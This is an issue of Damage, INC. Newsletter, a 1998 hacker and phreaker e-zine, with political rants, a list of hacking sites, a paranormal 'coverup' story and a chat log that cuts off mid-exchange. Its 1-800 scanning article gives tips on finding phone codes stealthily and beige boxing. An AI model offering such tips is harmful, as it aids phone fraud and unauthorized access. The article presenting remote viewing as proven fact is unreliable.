"The name speaks for itself!" Presents the Damage, INC. Newsletter March 1998 Issue #7 "Phun for h/p d00ds." C O N T E N T S : INTRODUCTION - An Introduction to the Damage, INC. Newsletter. BIG BROTHER BASHING - Censorship: Big Brother's secret weapon. Search String: {BIG BROTHER} BLACKENED'S TIP OF THE MONTH - List of h/p sites and how to find them. Search String: {BLACKENED} CONSPIRACIES AND COVERUPS - Psychic Warrior. Search String: {COVERUPS} CORRUPTION AND GREED - The IRS, death and taxes. Search String: {GREED} DRUGS DISCUSSION - An introduction to the newest section. Search String: {DRUGS} H/P INFORMATION AND NEWS - Tips on scanning 1-800s. Search String: {H/P} INTERVIEWS AND INTERROGATIONS - Artistry's interrogation of Topsoil. Search String: {INTERVIEWS} LETTERS TO THE EDITOR - More feedback about the Damage, INC. Newsletter. Search String: {LETTERS} OBJECTIVE OPINIONS - The existence of intelligent alien life in the Universe. Search String: {OPINIONS} REPORTS FROM THE FRONT - List of LASS *## codes. Search String: {REPORTS} SOURCE AND SCRIPTS - Damage, INC. Directory Trojan source code. Search String: {SOURCE} THE JOURNALIST'S TOP TEN LIST - "Think of the possibilities..." Search String: {TOP TEN} THOUGHTS, POEMS AND CREATIVE WRITING - "A Few Simple Questions" poem. Search String: {WRITING} CLOSING COMMENTS - BLACKENED's Vicious Closing Comments. Search String: {CLOSING} < DISCLAIMER > All articles contained in the Damage, INC. Newsletter are for informational purposes only. Damage, INC. is not responsible for how any of the information presented is used. It is not intended to be a manual with instructions to be followed. We won't be held responsible for any damages caused, illegal acts committed etc. by our readers. How you use the information given is entirely up to you. < COPYRIGHT NOTICE > All articles and source code contained within this file are (C) Copyright by Damage, INC. (unless stated otherwise). No part of this work can be modified, reproduced or changed in any way without the expressed written consent of Damage, INC. That means, electronically or otherwise, in part or in whole this file must not be altered. It cannot be included with any other releases. You cannot claim that you wrote it, or alter any articles and source code that has been written and Copyrighted by us. Also, do *not* distribute any Damage, INC. releases in "packages" with other text files or utilities. They must only be distributed alone in their present, original form. You are permitted to read and distribute the Damage, INC. Newsletter freely to quality h/p boards only. I foolishly thought that the Copyright message that follows each of our articles would be enough to discourage and deter people from ripping off our material. However, a user with the alias of Highlord has taken it upon himself to blatantly ignore those Copyright messages. He flagrantly disregarded them and infringed upon our rights by distributing them as a package under a name other than Damage, INC. That's the very reason this warning was added. It just shows his complete and utter lack of respect, intelligence and reflects badly on him. Needless to say, he won't get away with ripping off our releases and disobeying the Copyright. Obviously, behaviour and acts such as that won't be tolerated. Copyright 1998 by Damage, INC. _______________________________________________________________________________ INTRODUCTION: Welcome to another issue of the Damage, INC. Newsletter. The quote for this issue "Phun for h/p d00ds" is obviously meant as a joke. So, lighten up all of you big l33t hax0r d00ds. ;) No offense is intended to those that consider themselves to be l33t hax0rs, and feel insulted by my comment. Haha. Onward... Have you ever thought about mind over matter? As in, telekinesis? What about, mind over time? Or perhaps, mind over mind? Do you ever think about the potential power that our minds might hold? Have you ever wondered about how far thoughts can travel? Is it possible that our minds can go beyond the limits of space and time? My main point is that possibilities exist that should be explored. As a race, there are still many questions that we don't know the answer to, or cannot explain. However, that doesn't prevent us from continuing to learn more, progress and find the answers. Meaning, don't dismiss something and assume that it's impossible because you don't understand it or can't explain it. Open your mind. Become aware of the things that science avoids investigating. Seek out the truth. Try to find your own answers. Rely on yourself, and not what you are told to believe. Think about the unthinkable. Consider all of the alternative, strange perspectives. Don't just conform and take "society's" mainstream point of view for everything. Develop your own individual beliefs and opinions. Destroy the barriers of thinking that are hidden deep within your mind. At this stage, you may be wondering how this relates to this issue of the Damage, INC. Newsletter. I'll attempt to clarify and explain the reason I wrote the above paragraph as part of the Introduction. I want our readers to expand their minds, think about possibilities, consider alternatives, strengthen and improve their level of knowledge. Why? Well, think logically. If you manage to do that, you will be able to learn vast amounts of new information, evolve as a person, and advance. The mere capacity to learn doesn't necessarily mean that someone *will* start learning. Therefore, it takes more than being interested to learn about hacking and phreaking. You must think. In order to think freely, you must clear your mind and remove its useless limitations, misconceptions, lies and stereotypes. The expression "I think therefore I am" can be modified to read "I think therefore I hack/phreak" without destroying the meaning. Hopefully you understand why that saying is just as valid as the first. In reality, it hasn't actually been changed. We are creatures that are capable of pondering our own existence. Even though we are animals, we can create and use technology. Personally, I don't believe that we are the only "intelligent lifeforms" in the universe but at least on this planet our intellect is unmatched. The human brain has been developing for millennia. It's the greatest piece of technology of all. Don't waste its power. I suggest that you use your mind and use technology to your own advantage. My definition of h/p is thinking. You can form your own opinions and try to define it differently, but I challenge you to dispute "h/p is thinking" and find a way to disprove that statement. Its simplicity is what makes it complex and meaningful. Unfortunately, to many h/p only means "hacking/phreaking". For me, it carries a much greater meaning. BIG BROTHER BASHING - {BIG BROTHER} Censorship: Big Brother's secret weapon: How many works of art, songs, movies and books have been destroyed by censorship? Obviously, there's no way to provide accurate statistics to show how widespread censorship is. But censorship can be found everywhere. I'm sure that you've personally encountered censorship, and experienced how it totally degrades and ruins the censored item in question. The censorship machine keeps on rolling. Its momentum is created by the weak minded zombies that protest if they disagree with the content of something. If they find a school book to be offensive, they get people to sign a petition, call the school board etc. until it's banned reading material. That just robs students from being able to read classic books that would benefit them intellectually. It shelters and censors them from seeing the real world, as it really is. Have you ever wondered why there's so much censorship? The reason is that many people *want* to be censored, thus forcing it on everyone else. That just gives government agencies power. It also gives them an excuse. Big Brother loves being able to say that a song or movie is "below community standards". What does that actually mean? Well, it simply means that people (sometimes a very small number) call or send letters to an agency, such as the CRTC in Canada and say that they find something offensive. However, they have choices available to them. If they are offended by a TV show or movie, they can change the channel. If it's a song on the radio, they can listen to another station etc. That isn't what they want to do though. They want to make sure that *nobody* else can watch, read or listen to something unless it's censored. So, they run to Big Brother for assistance. And of course, Big Brother is there to "help" them by making sure it becomes censored or banned material. Why does Big Brother enjoy censoring and banning various material? It's their secret weapon. It gives them control over us. Each time they are allowed to censor something (with public support and excuses) they gain a little more control over what we have access to. Using censorship as a weapon makes Big Brother feel strong and powerful. Censorship in the hands of Big Brother is a very subtle and effective weapon. It's one of their favourite mind control techniques. As in, they limit what type of information is absorbed into our minds and therefore maintain control. That's the very reason that mainstream publications and movies are so shallow and lack aggressive, raw opinions etc. They've been censored to prevent anything deemed "too offensive" from being included. It's sickening. If you've ever watched movies shown on television then you already know exactly what I'm talking about. Words are removed, entire scenes are cut from the movie and it's altered so much that the actual movie is almost completely unrecognizable. That's why censorship is so harmful. Why should Big Brother be allowed to modify someone else's work at will? In my opinion, they shouldn't. It isn't their creation and doesn't belong to them. In closing, nothing should be censored...but obviously countless things are. There's no easy solution. There is no quick fix. There is no advice that I can give you to fight this problem that is corroding away at our creative works. The only advice that I can give you concerning censorship is to avoid supporting any medium that supports it. That simply means, read uncensored, underground publications whenever you can get access to them. Seek out book stores that sell books that are banned elsewhere. Listen to music that doesn't have words "beeped out" whenever possible. Look for information on the internet regarding censorship, and learn how it can personally affect you. You can also find underground magazines, text files etc. on internet sites. Use it as an instrument and utilize its resources. You might be amazed at some of the material available that Big Brother doesn't want you to have access to or know about. Don't let them stop you from accessing *any* information. Written by BLACKENED Damage, INC. (C)opyright 1998. BLACKENED'S TIP OF THE MONTH - {BLACKENED} List of h/p sites and how to find them: Q: How can I find some h/p sites? A: Look at the list of sites below. Many of them have links to other sites. Download lists of h/p sites. Write down the ones that are written in h/p magazines that you read. Try using search engines (like Altavista etc.) Do a search for hack, phreak, virus, security, unix, underground, exploits, cryptology etc. That should give you a nice list of sites to check out. Then try to find the specific sites that you want to visit by narrowing down the search. (Examples: Phrack or cDc to find their sites). Internet www and ftp sites are unpredictable. Some of them are very unreliable in that they're up one week and down the next. Therefore, some of the sites in the following list might not exist anymore... even though we've done our best to personally check as many as possible. Also, they aren't all h/p sites. There are some sites like Sun, AT&T, Cryptology, Privacy, Anonymous Email etc. as well that might be of interest to you. If you know of any good h/p boards (dialups/telnet) from any area code, then make a list and send it to us. We want to create a large h/p bbs list and include it in a future issue. www.l0pht.com - L0pht Heavy Industries. www.2600.com - 2600 The Hacker Quarterly ftp.2600.com - 2600 Magazine's FTP site. www.phrack.com - Phrack Magazine ftp.paranoia.com - Paranoia FTP site. www.paranoia.com - Paranoia web site. Many links etc. www.paranoia.com/hpa - Paranoia sites h/p/a files section. www.lod.com - LOD Communications www.underground.org - Underground.org www.dope.org - DOPE site. Drugs information etc. www.codebreakers.org - Codebreakers. www.spy.org - Spies everywhere. www.technotronic.com - Technotronic h/p site. www.rootshell.com - Rootshell (Unix exploits) www.cultdeadcow.com - cDc's site. www.sun.com - Sun Microsystems www.ibm.com - IBM's site. www.news.com - News/Information. www.tis.com - Trusted Information Systems www.antionline.com - AntiOnline h/p site. www.7thsphere.com - 7th Sphere h/p site. www.hyperreal.com - Hyperreal. Alternative Culture etc. www.inside-aol.com - Inside AOL site. AOL exploits etc. www.hotmail.com - Anonymous Email www.tacd.com - TACD home page. www.phreaks.org - Phreaks www.linux.org - Linux Online www.sysfail.org - System Failure. www.uknet.net/pnc - Personal Number Company site. www.nmrc.org - www.r00t.org - r00t www.bell.ca - Bell Canada's site. www.att.com - AT&T's site www.research.att.com - AT&T research site. www.mcs.net/~candyman - Candyman's h/p site. www.phantom.com - h/p site. www.secnet.com - Security www.hackers.com - Hackers h/p site. www.wired.com - Wired Magazine www.infowar.com - Information Warfare www.silitoad.org - Silicon Toad h/p site. www.vvv.com/~tommy - Tommy's Web Page. www.dejanews.com - Anonymous Email www.altavista.digital.com - Altavista Search Engine www.kuai.se/ - www.checkpoint.com - Checkpoint www.ilf.net - h/p site. www.digicrime.com - Digicrime, Inc. www.fc.net/phrack.html - Phrack's old web page. www.dis.org - Disinformation www.phonelosers.org - Phone Losers of America www.mybutt.com/links.html - 1-800 scans. www.gis.net/~shadowp/ - Shadow Phreak's h/p site. www.cs.berkeley.edu/~raph/remailer-list.html - Anonymous remailer list ftp.ishiboo.com - Ishiboo ftp.cert.org - CERT advisory's FTP site. ftp.cisco.com - CISCO ftp.bellcore.com - Bellcore's FTP site. ftp.etext.org - Etext ftp.primus.com/pub/security - Security ftp.foobar.com - You're foobar. ftp.netcom.com/pub - Several h/p/v directories. ftp.cs.ruu.nl/pub/SECURITY - Security & PGP ftp.cs.uwm.edu/pub/comp-privacy - Privacy Digest ftp.cs.vu.nl - ftp.cs.yale.edu - Yale ftp.csi.forth.gr/pub/security - Security ftp.sekurity.org - Security ftp.csl.sri.com/pub/nides - SRI ftp.csn.org/mpj - Cryptology ftp.csua.berkeley.edu/pub/cypherpunks - Cypherpunks (encryption information). ftp.demon.co.uk/pub/misc/0800num.txt - 0800/0500 numbers. ftp.denet.dk/pub/security/tools/satan - Satan utility site. ftp.digex.net/pub/access/dunk - Slam dunk. ;) ftp.dsi.unimi.it/pub/security/crypt - Cryptology ftp.dstc.edu.au/pub/security/satan - Satan utility site. ftp.lava.net/users/oracle/ - Lava ftp.funet.fi/pub/doc/cud - Computer Underground Digest ftp.sunet.se/pub/network/monitoring - Ethernet Sniffers ftp.fc.net/pub/phrack - Phrack's FTP site ftp.fc.net/pub/defcon - Defcon information ftp.fc.net/pub/defcon/bbeep - BlueBeep ftp.gate.net/pub/users - Some dirs have h/p files. ftp.greatcirle.com/pub/firewalls - Firewalls http://www.lordsomer.com - Lord Somer's h/p site. http://www.soci.niu.edu/~crypt - The Crypt Newsletter's site. http://www.eff.org/pub/Net_culture/Hackers - Net Culture http://www.etexguide.com/cardtricks - Carding information. http://www.feist.com/~tqdb/evis-lnk.html - Evisance h/p links. http://astalvista.box.sk - Astalavista baby h/p site. ;) http://www.pancreas.com - Pancreas h/p site with magazines. http://www.dhp.com/~fyodor/nmap/ - The Network Mapper http://www.geocities.com - Geocities http://sun.soci.niu.edu/~cudigest - Computer Underground Digest http://www.disinfo.com/ - Disinformation http://www.hackers.com/loa - Legion of the Apocalypse http://www.defcon.org - Defcon Conference information http://www.hip97.nl/ - HIP site. http://www.replay.com/aba/eternity/ - Eternity service. http://moloko.insync.net/eternity/ - Eternity service. http://eternity.internexus.net/ - Eternity service. http://eternity.infinetways.net/ - Eternity service. http://www.cu-online.com/~jwthomp/ - Jeff Thompson's home page. http://www.cc.oberlin.edu/~brchkind/cyphernomicon/ - Cyphernomicon's site. http://www.replay.com/mail2news/ - Re-mailer http://www.ncsa.com - National Computer Security Assocation http://crunch.woz.org/crunch - Cap'n Crunch http://www.webcrunchers.com - Capn' Crunch's Web hosting server http://www.webcrunchers.com/crunch - Official Cap'n Crunch home page http://www.sec.de/sec/ - Seven Up's home page. http://www.infonexus.com/~daemon9 - Daemon9's home page. ------------------------------------------------------------------------------- CONSPIRACIES AND COVERUPS - {COVERUPS} PSYCHIC WARRIOR: Keeping with the theme of this month's newsletter, this article reveals the US Government's coverup of a secretive group of people, whose daily activities are mind boggling, and bone chilling. Operating under the codename STARGATE, in the Defense-Intelligence Division, members of this group practiced things that less than 1% of the US Government, CIA, and FBI knew about. One thing that can be learned from this somewhat chilling tale, is that most of the time, most of the army has no idea what the rest of the army is up to. The dawning of the 60's produced an era of defense officials never before seen in the army; intelligence had taken over brute force methods of attack, and now new, more intricate plans of attack were being concocted. This article describes one of those such "new age" plans. Sergeant David Morehouse was just your average joe. He had pursued a career in the armed forces, as had his dad, and his. He had a lovely wife, and two healthy children. For some reason though, David's path was "chosen" for him. Whether you believe in fate or not is entirely up to you, but this man's life changed so drastically that I myself cannot believe it was accidental, or "coincidence." The year was 1979; Morehouse and his platoon "The Rangers" were stationed in a remote East-European country, training Palestinian soldiers about war techniques. Nothing was out of the ordinary, until one day on a routine village raid, a stray bullet struck Morehouse square on the forehead. Instantly he was transported into another realm. What he describes as "angels" (simply an archetypal symbol IMO), visited him and gave him the message "What you are doing is wrong. If you want peace, seek peace, practice peace. You have seen death, now bring life." In one instant his life as he knew it had changed. The bullet had luckily hit his helmet, and not done any severe physical damage. The psychological damage though, was shattering. For years after the incident he was plagued with nightmares, "visitings", visions, voices, and other bizarre experiences such as sleepwalking, spontaneous trances, and more. David battled with the experience. The main focus of his life had become how to deal with the newfound consciousness. It was as if the bullet hitting his helmet had opened up some sort of blackhole in the fabric of space-time, and consciousness. He hoped with time it would go away. It did not; but instead got worse. Maybe a change was needed. He decided to switch divisions, into the intelligence-agency despite warnings from Commanding Officers that "what goes on in there is sick, and immoral." Before being allowed into the Defense-Intelligence-Agency (DIA) Morehouse was required to undergo numerous physical and mental tests. Using these, the army built a "psychological profile" on the new recruit, standard procedure for the DIA. The army now knew more about David Morehouse than he knew about himself. They would later use this to their advantage. Based upon his bizarre experience, our plagued hero was placed in a covert operation now known as the STARGATE project. Knowledge of its existence was limited to very few individuals. Morehouse was asked to lie to his wife and family; no one was to know about what went on during the long days he was at work. Members of this unit were trained to develop psychic abilities to be used in the application of defense-intelligence. Another thing that can be learned from this man's experience is that the psychic phenomena is a very real, and powerful tool. Specifically, these people induced altered-states-of-consciousness (ASC's), and used astral-projection (out-of-body travel) to remote-view enemy sites, gather information, and learn things that were not supposed to be known outside of very tight circles. The techniques they had developed were sound, and could be reproduced by individuals who had the propensity towards this "sixth sense." David happened to be one of these people, that is why he was chosen and trained to be a psychic spy for the US Army. The experiences however, had very definite side effects that nobody could explain. Morehouse was prone to going into trance at random, sometimes while driving his car. Also he had vivid dreams of his family being brutally murdered, and the face under the murderer's mask being his own. Frequently he woke up screaming. It was starting to get out of control; he was losing his family, and his sanity. He continued working however, hoping and believing that what he was doing would lead to the answer to his problems, for there were benefits to being able to travel out-of-body. He saw the potential for mankind, given this knowledge. Unfortunately he did not realize that the answer to his problems lay within him. The mental stress began to take its toll. His behaviour now exhibited that of a mental patient. He couldn't sleep, for fear of lucid nightmares that left him sweating with fear. Around this time he also realized that hiding the knowledge of the army's remote-viewing practices was wrong. The information could greatly benefit society (or so he believed), and he began a plan to expose the whole unit. His family was the first to learn about what went on in the unit. They shared his belief that the knowledge should not be kept secret any longer. Little did they know what awaited them on this path of government exposure, for if they did, they perhaps might have rethought the whole thing. Officials eventually got wind of his desire for publicizing the events that took place during the 20 years that the STARGATE program was in operation. Small threats inevitably lead to death threats, and it was when somebody tried to kill him and his family that David Morehouse clearly saw the US Army for what it was, and what it had become. They used their knowledge about him in attempts to stop his actions, and their ruthlessness was unforgivable. It was bigger than them though. Morehouse had selected himself as the one to make public the knowledge of the army's remote-viewing experiments. Because of his one-track mindedness, Morehouse succeeded in his desire to expose the activities that went on during those fateful months he was in the unit. The army denied 95% of his claims, also denying the validity of "remote-viewing" for defense purposes. Their tactics went straight from hiding the truth, to manipulating it. Not once did it occur to them to simply admit their actions, and take responsibility. Most would sooner have died, than admit to a conspiracy/coverup. The events described here within are all true, and can be verified by newsmedia, books, and some government documents. The tale is a fascinating one, combining elements of science fiction, suspense, and conspiracy. David Morehouse was a person who dared to be more than what society expected. He rose above the law, conquered space-time, and lived to tell the story of both. He no longer works with the army in any way, and spoke at the 1996 world conference on issues of peace, and nonviolent ways to solve disputes. It is at the discretion of the reader as to what he/she learns from this article; but remember, your thoughts create your reality, and only *you* can be held responsible for your thoughts. Written by The Journalist Damage, INC. (C)opyright 1998. CORRUPTION AND GREED - {GREED} The IRS, death and taxes: Of all of the bureaucracies in the Unites States, one of the most corrupt and cold-hearted is the Internal Revenue Service (IRS). The IRS has tremendous powers in which they use to rape and pillage Americans. Without a hearing, or any other form of due process, the IRS can seize property, pay checks, homes and shut down businesses. It is because the IRS is the absolute judge, jury, and executioner during a tax audit, it is no wonder that they are capable of financially, or even physically destroying the lives of many Americans. IRS managers keep track of citizens that they consider to be `tax protesters' and `political dissidents' that disagree with the government of the day. It is no coincidence in my mind that people like Paula Jones have been audited by the IRS. They'll make someone's life hell on a request from a corrupt politician, or will independently act on their behalf. In addition, the culture within the IRS encourages the exploitation of taxpayers that don't have the resources to fight back. Former IRS employees have revealed that IRS managers compile a list of individuals and small businesses that are what they consider to be `easy prey.' It is said that absolute power corrupts absolutely, and that is precisely what has happened within the IRS. IRS managers foster a culture of greed and powertripping. Despite what the IRS says, it is a fact that IRS agents are rewarded by bonuses or promotion in direct relation to the amount of tax, interest, and penalty money they can seize. At the heart of their schemes is the fact that they can claim any amount of back taxes, with penalties and interest, and it can't be contested. If their actions destroy a person or family's quality of life, it's a bonus to those sick bastards. One example of hundreds of abuse by IRS agents that I have read, an agent told a man he was auditing that he was "worth more dead" so that the IRS could seize his life insurance policy. When the man reported this, the agent denied it and his manager accused the man of lying. In my opinion, he will be harassed by the IRS for the rest of his life. The tactics IRS agents use during an audit are cruel and appalling. When they have selected their target, they attack with no mercy. And if an American actually cooperates fully with the IRS, they are digging their own financial grave. In one case, a married couple that ran a small business paid a penalty of $6000 because the agent told them "well, it appears that you paid these returns correctly, but understand, we are paid to bring in money. If you don't pay us something now, I'll just come back with another list of requests." Approximately six years later, the IRS required that they had to prove that they paid taxes the previous seven years. At that time a heavy lien was put against their home as an added "bonus" for their earlier assistance. Another corrupt tactic that the bastards in the IRS use to inflict mental stress upon their victims is known as the "whipshaw technique." This technique is used to coerce a taxpayer to `pay up' by punishing innocent relatives through liens, levies, seizures, etc. Yet another example of the corrupt use of their unbridled power. The IRS intentionally developed this tactic to humiliate and isolate their victims from their family and friends. Another convenient way for the IRS to destroy the lives of their victims is to lie and claim that they didn't received forms, or payments on outstanding taxes. This goes far beyond recovering taxes from those that owe the Treasury department... it is a blatant and unprovoked attack against Americans that can't afford to fight them in court. And that is when the IRS really twists the knife. Their follow-up tactic is to charge late payment penalties and interest *and* to pocket the payments they have already received. Then it's up to the taxpayer to prove that the IRS received their forms, payments, etc. The reason they do this is simple; greed. In one reported case, two years after the fact the IRS told a taxpayer that they didn't have a man's 1992 tax return. They demanded back taxes *plus* a penalty of $6000. How could the man prove that the IRS didn't have the tax return when it is a fact that they do? It is contemptible that the IRS is able to lie, or claim that they "lost files" and put it all on the back of the taxpayer. Unfortunately, not every American is strong enough to handle the oppressive shadow that the IRS casts upon their lives. The corrupt and evil ways in which IRS agents act have driven people to suicide. However, not even suicide and the destruction of families will stop the IRS from their relentless greed, and their need to exert their powers. I read a report from a widow suffering from severe mental stress. She reported how the IRS took advantage of her husband's suicide (his escape from the hell they were putting him through) by placing liens on both of her husband's life insurance policies that were intended to provide for her and her daughter. And the IRS is not done yet. IRS agents are stalking her by telephone and unannounced house visits, revelling in their power that they use without any accountability. I hope that this article has given you a small glimpse into how corrupt government bureaucracies truly are. Instead of serving the citizens of their country, they prey upon them... destroying their hopes, dreams, and lives. Breaking up families, and driving people to suicide is the result of their corrupt use of the absolute power they wield without fear of recourse. It is my opinion that this kind of abuse is only the beginning as our civil rights and liberties are eliminated and ignored. Remember that knowledge is power. If a bureaucracy as greedy and corrupt as the IRS comes after you, fight back. Don't give up destroyed and say "what can I do about it?" That is when they have won. --- While using the Internet to obtain background information for this article, I came across a web site in which victims of the IRS were gathering testimony in preparation for a class-action lawsuit. The IRS Abuse Reports relate their horrible experiences much better than I can. You may wish to see first-hand accounts of how the IRS has destroyed the lives of hundreds of hard-working Americans. The website address of the IRS Abuse Reports is: www.zonpower.com/irs-class-action. Written by Shatazar Damage, INC. (C)opyright 1998. DRUGS DISCUSSION - {DRUGS} An introduction to the newest section: This commences a new section that will continue throughout several Newsletters. Drugs are mind-altering substances; for this reason, I feel it important to discuss the current drug situation in our society. There are too many aspects of this topic to limit it to one article; as such, this is merely an introduction to which perspectives I will be covering, and my views on them. -Legality issues must be addressed - should drugs be legal/decriminalized? -Personal experiences will be shared and discussed. -Drugs in different cultures, eras. -Types of drugs, classes of drugs, and effects of drugs will be covered. -True facts and events will be looked at, and commented upon. -The drug war in North America/the globe is an issue. -Focus on Hemp/Cannabis and its advantages/disadvantages -Drugs and life, drugs and consciousness, philosophical aspects discussed. -Hallucinogens, cosmic-consciousness, religion discussed. Some discussion will be serious, while others more humorous, and others still, a mixture of both. I hope you look forward to reading this section as much as I look forward to writing it. Those who know me know that life is a very interesting subject to me. To blindly think that all drugs are bad is such a detrimental belief it astounds me. Drugs fascinate me; and I don't necessarily mean experimenting with them. Theoretical discussion of the effects of DMT for example can be quite fascinating, without having to do the drug oneself. That is not to say I haven't done a lot of drugs. Of the most popular drugs available, it would be faster for me to tell you that I have not done Crack, Cocaine, or Heroine. I have tried most others however, thus do not consider myself a "newbie" to drugs by any means. Because drugs are illegal though, I have a hard time believing that what pill I am buying is really what it is supposed to be. See what I mean? How can I put my trust into something that was probably concocted in a bathtub? These and many more interesting thoughts coming soon. If you care to leave me feedback with any comments/experiences you have, I will gladly incorporate them into my articles. Otherwise, look for the new Drugs Discussion section in the next issue of the newsletter. Written by The Journalist Damage, INC. (C)opyright 1998. H/P INFORMATION AND NEWS - {H/P} Tips on scanning 1-800s: This article won't teach you everything that there is to know about scanning 1-800s. Also, it will not give you any instructions on how to hack them. The purpose of this article is to teach you some intelligent scanning methods. If you're asking yourself, "What does intelligent scanning mean?" then you definitely need to read this section very carefully. In order to scan intelligently, obviously you first need to know what that means. In brief, it means scanning efficiently, stealthfully and finding the desired targets quickly. Sometimes speed can be of the essence. You can't find anything fast if you try to randomly scan all of 1-800-555-XXXX. It would take forever to scan and log it all, not to mention the fact that many of the reachable numbers would prove to be absolutely useless to you. So, instead of wasting your time and putting yourself at risk, learn how to scan intelligently. Every single method won't be discussed in this article. The reason being, you cannot rely on a text file as your only source of learning. You must experiment and develop your own techniques using your own ideas. However, since I'm in a kind and generous mood, I will give you a few tried and tested tips to try out. :) First, there's the ToneLoc (or THC-Scan etc.) approach. I don't recommend it unless you're beige boxing or only going to dial less than a hundred 1-800s per session/day. If you're out beige boxing, then you don't have to worry about scanning randomly. Try scanning sequentially, unless you're paranoid. As an example, you could use a mask of 1-800-555-5XXX and allow it to scan for an hour or two. You can sit there watching and listening as it's scanning, or leave. Just don't forget to go back to retrieve your trusty laptop. :) Also, always create different data files for separate exchanges. It keeps your scans much more organized that way. Plus, then you can exchange them with other phreaks in your area. If a group of people work together to scan a 1-800 exchange, it'll go a lot faster. Just assign one person to scan 1-800-555-1XXX and the next to do 1-800-555-2XXX and so on. Eventually all of 1-800-555-XXXX will have been scanned, and you can share your findings. Plus, if you use separate data files, you can upload them to h/p boards in exchange for codes etc. That's another benefit to scanning intelligently, you'll find a lot more. Just remember, only upload scans that are worthwhile. In other words, not ones that are 90% voice/busy's with the rest shitty carriers. If you upload shit, there's a great chance that you'll lose your access to those h/p boards. Second, there's the manual dialing approach (pressing the little buttons on your phone). :) By using this method, it's much safer since it's more randomized. By that, I just mean that the delay time between dials will be different, the amount of time between each button being pressed will vary, the amount of rings won't be the same, the amount of time "connected" won't either etc. Therefore, it is safe to use this method from home. However, you must make sure to limit the number of 1-800s that you scan each session. A good tip is to have multiple scan sessions per day. In each session, dial 20 or 30 1-800 numbers. Don't just "pick anything". Scan intelligently. Try 1-800-XXX-2255. (2255 is CALL). That's just an example. You can also try something like 1-800-XXX-0400 or 1-800-XXX-0500 etc. There are patterns that you can pick up on. Sometimes the patterns are intricate, and other times they are simple and easy to discover. If you find a useful code that's 1-800-999-1110 then try dialing 1-800-999-1120 etc. Sometimes you can find multiple codes that way very quickly. :) Just as, you can try 1-800-225-5XXX (1-800-CALL-XXX) and try random last 3 digits. Once you find some codes in a 1-800-XXX exchange, then sometimes you might want to scan it all. Other times, you might only want a certain code that you found scanning intelligently. It all depends on what you're into, and how much time you have to spend scanning, how many codes you want or need etc. The point is that you don't always have to scan the entire exchange to find the codes that you want. Here's another tip. If you find a code (like a 1-800 VMB or ANI or something) that's 1-800-222-2020 as an example, scan around it. By that, I mean do the same thing as you'd do if you found one end of a loop. To find the other end, you have to scan above or below it depending on what end of the loop you found. With 1-800s, you should scan above and below the found code. The reason is that you can usually find multiple codes that are the same that way. For example, if you found an ANI that's 1-800-222-5000 there might be another ANI that's 1-800-222-4000. Even though that is just an example, I have seen that many times before... The reason that I'm not listing usable 1-800s is because I don't know what ones are reachable from other area codes, Canada etc. Some 1-800s work for all of North America, others are limited to the United States and some are only dialable from that state, area code etc. There's a great range, so it would be pointless for me to list valid ones that might only work in my area. Also, don't write off or ignore an entire 1-800 exchange just because one or two numbers can't be dialed for free from your calling area. That's definitely not intelligent scanning, since you could miss out on a lot of cool codes. I hope that you enjoyed reading this article, benefit from the methods that I've discussed and the tips that I've shared. In conclusion, you should be creative, use your imigination and learn how to scan intelligently. If you follow that advice, then you will soon have more useful codes than you can imagine... More importantly, you'll have the ability to find the ones that you need quickly without scanning entire exchanges for days. On a personal note, I'm moving again. This time, it looks as though it'll be permanent. I am going out to Montana. I don't want to mention the town, for several reasons. At any rate, I don't know how active I'm going to be in the h/p scene anymore. I've considered unofficially "retiring". I'll still remain in contact with a few people, and I'm not quitting Damage, INC. However, it is very unlikely that I'll be able to contribute as often to the Damage, INC. Newsletter. I still want to write articles etc. but the extent of my involvement in the group will be severely limited. I won't have nearly as much free time after I start work at my new job. I just want to thank everyone that has ever helped me out, and thank Damage, INC. for the experience and knowledge that I've learned because of the group. Also, thanks to anyone that reads and enjoys my articles. Lastly, have fun scanning and don't forget to phreak safely. :) Written by Blackie Lawless Damage, INC. (C)opyright 1998. - NEWS - We're proud to announce that Fatal Vision is the newest Damage, INC. Member. He's going to contribute to future issues of the Damage, INC. Newsletter. In a relatively short period of time, he's managed to learn a fair amount about h/p and what it means. Everyone in the group is pleased with his progress and we're looking forward to seeing him become an active member. The Damage, INC. FAQ should be complete and ready to release with the next issue of the Damage, INC. Newsletter in April. It will contain information about the group, past, present, future plans as well as answer frequently asked questions etc. However, it won't be an ordinary FAQ. It will be unlike any other FAQ that you've read, or exists for that matter. Damage, INC. is about uniqueness, individuality and going against the grain... Everything that we release proves that statement to be true. So, look for the FAQ of all fucking FAQs to be released soon and available on a quality h/p board near you. ;) Also, I spoke with Blackie Lawless after he submitted the above article on scanning 1-800s. He assured me that it won't be his last, but it might be a few months before he has time to write and contribute anything else. I know that he isn't planning on "retiring" from the scene forever. He told me that he wants to take a break from it though, even after he's moved and settled in Montana. I fully understand that, as I've often thought about doing the exact same thing... Plus, it's not good to stay in the scene for 'too long' if you are very actively involved, as it might catch up with you eventually. So, I don't blame him if he feels that taking some time off will help him avoid being busted for something. However, I have no knowledge of his activities, or what's going on, so that's just a hypothesis at best... ;) In other local (519) news, The Crypt Keeper is back. He plans to setup his board (The Crypt) again... and wants to resurrect a.t.i. We'll have to wait and see what develops, especially after the recent Highlamer incidents of him claiming to be a Member of a.t.i and creating fake releases etc. Written by BLACKENED Damage, INC. (C)opyright 1998. INTERVIEWS AND INTERROGATIONS - {INTERVIEWS} Artistry's interrogation of Topsoil: This interrogation was done by Artistry. He captured this chat and sent a copy of it to Damage, INC. His intention was that we would include it in this issue of the Damage, INC. Newsletter. Artistry's wish was granted. So, all of the credit goes to him. Don't thank me for this hilarious interrogation, thank Artistry. ;) = Artistry = Topsoil (previously known as Coolguy) [ comments ] were added by BLACKENED. the sysop has broken in to chat - yeah? - hey.. are you into hacking? 1-800s? - ... ... uhhh.. i wanna be, but i know nothin... [ Look...He admitted that he's a wannabe that knows nothing. What a shock. ] - oh.. I thought someone said you were making a list of them... - i was.. they were like.. not computers or nothing.. and umm.. i lost that list now, forgot to back it up before i formated my HD... [ Topsoil is always formatting his hard drive. ] - okay. do you know what the validation pword on foi is? I applied but can't get access. - no clue... he just validated me ... about a day or two after i called so.. [ Even Topsoil doesn't know why he was validated on FoI. ] - ok no problem. uh, do you know of any other h/p boards around here that are local? - heh..i hardly even read my own mail on my own board.. i don't call out at all anymore so... [ But he doesn't call boards anymore, except to leech h/p files from FoI. ] - Oh... umm... you don't call foi? - nah... haven't in.. oh.. i dunno.. since november or so... not sure exactly... [ That's strange since I remember reading posts by Topsoil on FoI after that. ] - i read about a board called the crypt and some group called ati.. should I join it? - umm.. i dunno.. 